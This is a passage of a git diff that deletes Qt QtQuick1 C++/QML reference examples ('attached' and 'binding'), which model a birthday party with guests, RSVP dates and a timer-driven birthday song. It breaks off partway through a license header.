-#include -#include -#include "birthdayparty.h" -#include "person.h" - -int main(int argc, char ** argv) -{ - QCoreApplication app(argc, argv); - - qmlRegisterType(); - qmlRegisterType("People", 1,0, "BirthdayParty"); - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType("People", 1,0, "Boy"); - qmlRegisterType("People", 1,0, "Girl"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("qrc:example.qml")); - BirthdayParty *party = qobject_cast(component.create()); - - if (party && party->host()) { - qWarning() << party->host()->name() << "is having a birthday!"; - - if (qobject_cast(party->host())) - qWarning() << "He is inviting:"; - else - qWarning() << "She is inviting:"; - - for (int ii = 0; ii < party->guestCount(); ++ii) { - Person *guest = party->guest(ii); - - QDate rsvpDate; - QObject *attached = - qmlAttachedPropertiesObject(guest, false); - if (attached) - rsvpDate = attached->property("rsvp").toDate(); - - if (rsvpDate.isNull()) - qWarning() << " " << guest->name() << "RSVP date: Hasn't RSVP'd"; - else - qWarning() << " " << guest->name() << "RSVP date:" << qPrintable(rsvpDate.toString()); - } - - } else { - qWarning() << component.errors(); - } - - return 0; -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/person.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/person.cpp deleted file mode 100644 index 7afcdc6ca6..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/person.cpp +++ /dev/null @@ -1,118 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "person.h" - -ShoeDescription::ShoeDescription(QObject *parent) -: QObject(parent), m_size(0), m_price(0) -{ -} - -int ShoeDescription::size() const -{ - return m_size; -} - -void ShoeDescription::setSize(int s) -{ - m_size = s; -} - -QColor ShoeDescription::color() const -{ - return m_color; -} - -void ShoeDescription::setColor(const QColor &c) -{ - m_color = c; -} - -QString ShoeDescription::brand() const -{ - return m_brand; -} - -void ShoeDescription::setBrand(const QString &b) -{ - m_brand = b; -} - -qreal ShoeDescription::price() const -{ - return m_price; -} - -void ShoeDescription::setPrice(qreal p) -{ - m_price = p; -} - -Person::Person(QObject *parent) -: QObject(parent) -{ -} - -QString Person::name() const -{ - return m_name; -} - -void Person::setName(const QString &n) -{ - m_name = n; -} - -ShoeDescription *Person::shoe() -{ - return &m_shoe; -} - - -Boy::Boy(QObject * parent) -: Person(parent) -{ -} - - -Girl::Girl(QObject * parent) -: Person(parent) -{ -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/person.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/person.h deleted file mode 100644 index 032eca3c17..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/attached/person.h +++ /dev/null @@ -1,105 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PERSON_H -#define PERSON_H - -#include -#include - -class ShoeDescription : public QObject -{ - Q_OBJECT - Q_PROPERTY(int size READ size WRITE setSize) - Q_PROPERTY(QColor color READ color WRITE setColor) - Q_PROPERTY(QString brand READ brand WRITE setBrand) - Q_PROPERTY(qreal price READ price WRITE setPrice) -public: - ShoeDescription(QObject *parent = 0); - - int size() const; - void setSize(int); - - QColor color() const; - void setColor(const QColor &); - - QString brand() const; - void setBrand(const QString &); - - qreal price() const; - void setPrice(qreal); -private: - int m_size; - QColor m_color; - QString m_brand; - qreal m_price; -}; - -class Person : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) - Q_PROPERTY(ShoeDescription *shoe READ shoe) -public: - Person(QObject *parent = 0); - - QString name() const; - void setName(const QString &); - - ShoeDescription *shoe(); -private: - QString m_name; - ShoeDescription m_shoe; -}; - -class Boy : public Person -{ - Q_OBJECT -public: - Boy(QObject * parent = 0); -}; - -class Girl : public Person -{ - Q_OBJECT -public: - Girl(QObject * parent = 0); -}; - -#endif // PERSON_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/binding.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/binding.pro deleted file mode 100644 index f1e38a9b5e..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/binding.pro +++ /dev/null @@ -1,19 +0,0 @@ -TEMPLATE = app -TARGET = binding -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative - -# Input -SOURCES += main.cpp \ - person.cpp \ - birthdayparty.cpp \ - happybirthdaysong.cpp -HEADERS += person.h \ - birthdayparty.h \ - happybirthdaysong.h -RESOURCES += binding.qrc -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/binding -sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS binding.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/binding -INSTALLS += target sources diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/binding.qrc b/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/binding.qrc deleted file mode 100644 index e2fa01d5e7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/binding.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - example.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/birthdayparty.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/birthdayparty.cpp deleted file mode 100644 index 682647aea6..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/birthdayparty.cpp +++ /dev/null @@ -1,113 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "birthdayparty.h" - -BirthdayPartyAttached::BirthdayPartyAttached(QObject *object) -: QObject(object) -{ -} - -QDate BirthdayPartyAttached::rsvp() const -{ - return m_rsvp; -} - -void BirthdayPartyAttached::setRsvp(const QDate &d) -{ - if (d != m_rsvp) { - m_rsvp = d; - emit rsvpChanged(); - } -} - - -BirthdayParty::BirthdayParty(QObject *parent) -: QObject(parent), m_host(0) -{ -} - -Person *BirthdayParty::host() const -{ - return m_host; -} - -void BirthdayParty::setHost(Person *c) -{ - if (c == m_host) return; - m_host = c; - emit hostChanged(); -} - -QDeclarativeListProperty BirthdayParty::guests() -{ - return QDeclarativeListProperty(this, m_guests); -} - -int BirthdayParty::guestCount() const -{ - return m_guests.count(); -} - -Person *BirthdayParty::guest(int index) const -{ - return m_guests.at(index); -} - -void BirthdayParty::startParty() -{ - QTime time = QTime::currentTime(); - emit partyStarted(time); -} - -QString BirthdayParty::announcement() const -{ - return QString(); -} - -void BirthdayParty::setAnnouncement(const QString &speak) -{ - qWarning() << qPrintable(speak); -} - -BirthdayPartyAttached *BirthdayParty::qmlAttachedProperties(QObject *object) -{ - return new BirthdayPartyAttached(object); -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/birthdayparty.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/birthdayparty.h deleted file mode 100644 index 376d107f26..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/birthdayparty.h +++ /dev/null @@ -1,102 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef BIRTHDAYPARTY_H -#define BIRTHDAYPARTY_H - -#include -#include -#include -#include -#include "person.h" - -class BirthdayPartyAttached : public QObject -{ - Q_OBJECT - Q_PROPERTY(QDate rsvp READ rsvp WRITE setRsvp NOTIFY rsvpChanged) -public: - BirthdayPartyAttached(QObject *object); - - QDate rsvp() const; - void setRsvp(const QDate &); - -signals: - void rsvpChanged(); - -private: - QDate m_rsvp; -}; - -class BirthdayParty : public QObject -{ - Q_OBJECT -// ![0] - Q_PROPERTY(Person *host READ host WRITE setHost NOTIFY hostChanged) -// ![0] - Q_PROPERTY(QDeclarativeListProperty guests READ guests) - Q_PROPERTY(QString announcement READ announcement WRITE setAnnouncement) - Q_CLASSINFO("DefaultProperty", "guests") -public: - BirthdayParty(QObject *parent = 0); - - Person *host() const; - void setHost(Person *); - - QDeclarativeListProperty guests(); - int guestCount() const; - Person *guest(int) const; - - QString announcement() const; - void setAnnouncement(const QString &); - - static BirthdayPartyAttached *qmlAttachedProperties(QObject *); - - void startParty(); -signals: - void partyStarted(const QTime &time); - void hostChanged(); - -private: - Person *m_host; - QList m_guests; -}; - -QML_DECLARE_TYPEINFO(BirthdayParty, QML_HAS_ATTACHED_PROPERTIES) - -#endif // BIRTHDAYPARTY_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/example.qml b/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/example.qml deleted file mode 100644 index 99a0098ff6..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/example.qml +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import People 1.0 - -// ![0] -BirthdayParty { - id: theParty - - HappyBirthdaySong on announcement { name: theParty.host.name } - - host: Boy { - name: "Bob Jones" - shoe { size: 12; color: "white"; brand: "Nike"; price: 90.0 } - } -// ![0] - onPartyStarted: console.log("This party started rockin' at " + time); - - - Boy { - name: "Leo Hodges" - BirthdayParty.rsvp: "2009-07-06" - shoe { size: 10; color: "black"; brand: "Reebok"; price: 59.95 } - } - Boy { - name: "Jack Smith" - shoe { size: 8; color: "blue"; brand: "Puma"; price: 19.95 } - } - Girl { - name: "Anne Brown" - BirthdayParty.rsvp: "2009-07-01" - shoe.size: 7 - shoe.color: "red" - shoe.brand: "Marc Jacobs" - shoe.price: 699.99 - } - -// ![1] -} -// ![1] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/happybirthdaysong.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/happybirthdaysong.cpp deleted file mode 100644 index 5738e9a5ae..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/happybirthdaysong.cpp +++ /dev/null @@ -1,85 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "happybirthdaysong.h" -#include - -HappyBirthdaySong::HappyBirthdaySong(QObject *parent) -: QObject(parent), m_line(-1) -{ - setName(QString()); - QTimer *timer = new QTimer(this); - QObject::connect(timer, SIGNAL(timeout()), this, SLOT(advance())); - timer->start(1000); -} - -void HappyBirthdaySong::setTarget(const QDeclarativeProperty &p) -{ - m_target = p; -} - -QString HappyBirthdaySong::name() const -{ - return m_name; -} - -void HappyBirthdaySong::setName(const QString &name) -{ - if (m_name == name) - return; - - m_name = name; - - m_lyrics.clear(); - m_lyrics << "Happy birthday to you,"; - m_lyrics << "Happy birthday to you,"; - m_lyrics << "Happy birthday dear " + m_name + ","; - m_lyrics << "Happy birthday to you!"; - m_lyrics << ""; - - emit nameChanged(); -} - -void HappyBirthdaySong::advance() -{ - m_line = (m_line + 1) % m_lyrics.count(); - - m_target.write(m_lyrics.at(m_line)); -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/happybirthdaysong.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/happybirthdaysong.h deleted file mode 100644 index a9f3a94544..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/happybirthdaysong.h +++ /dev/null @@ -1,74 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef HAPPYBIRTHDAYSONG_H -#define HAPPYBIRTHDAYSONG_H - -#include -#include - -#include - -class HappyBirthdaySong : public QObject, public QDeclarativePropertyValueSource -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged) - Q_INTERFACES(QDeclarativePropertyValueSource) -public: - HappyBirthdaySong(QObject *parent = 0); - - virtual void setTarget(const QDeclarativeProperty &); - - QString name() const; - void setName(const QString &); - -private slots: - void advance(); - -signals: - void nameChanged(); -private: - int m_line; - QStringList m_lyrics; - QDeclarativeProperty m_target; - QString m_name; -}; - -#endif // HAPPYBIRTHDAYSONG_H - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/main.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/main.cpp deleted file mode 100644 index 110ea9c4df..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/main.cpp +++ /dev/null @@ -1,92 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include "birthdayparty.h" -#include "happybirthdaysong.h" -#include "person.h" - -int main(int argc, char ** argv) -{ - QCoreApplication app(argc, argv); - qmlRegisterType(); - qmlRegisterType("People", 1,0, "BirthdayParty"); - qmlRegisterType("People", 1,0, "HappyBirthdaySong"); - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType("People", 1,0, "Boy"); - qmlRegisterType("People", 1,0, "Girl"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("qrc:example.qml")); - BirthdayParty *party = qobject_cast(component.create()); - - if (party && party->host()) { - qWarning() << party->host()->name() << "is having a birthday!"; - - if (qobject_cast(party->host())) - qWarning() << "He is inviting:"; - else - qWarning() << "She is inviting:"; - - for (int ii = 0; ii < party->guestCount(); ++ii) { - Person *guest = party->guest(ii); - - QDate rsvpDate; - QObject *attached = - qmlAttachedPropertiesObject(guest, false); - if (attached) - rsvpDate = attached->property("rsvp").toDate(); - - if (rsvpDate.isNull()) - qWarning() << " " << guest->name() << "RSVP date: Hasn't RSVP'd"; - else - qWarning() << " " << guest->name() << "RSVP date:" << qPrintable(rsvpDate.toString()); - } - - party->startParty(); - } else { - qWarning() << component.errors(); - } - - return app.exec(); -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/person.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/person.cpp deleted file mode 100644 index 89e7127caf..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/person.cpp +++ /dev/null @@ -1,138 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE 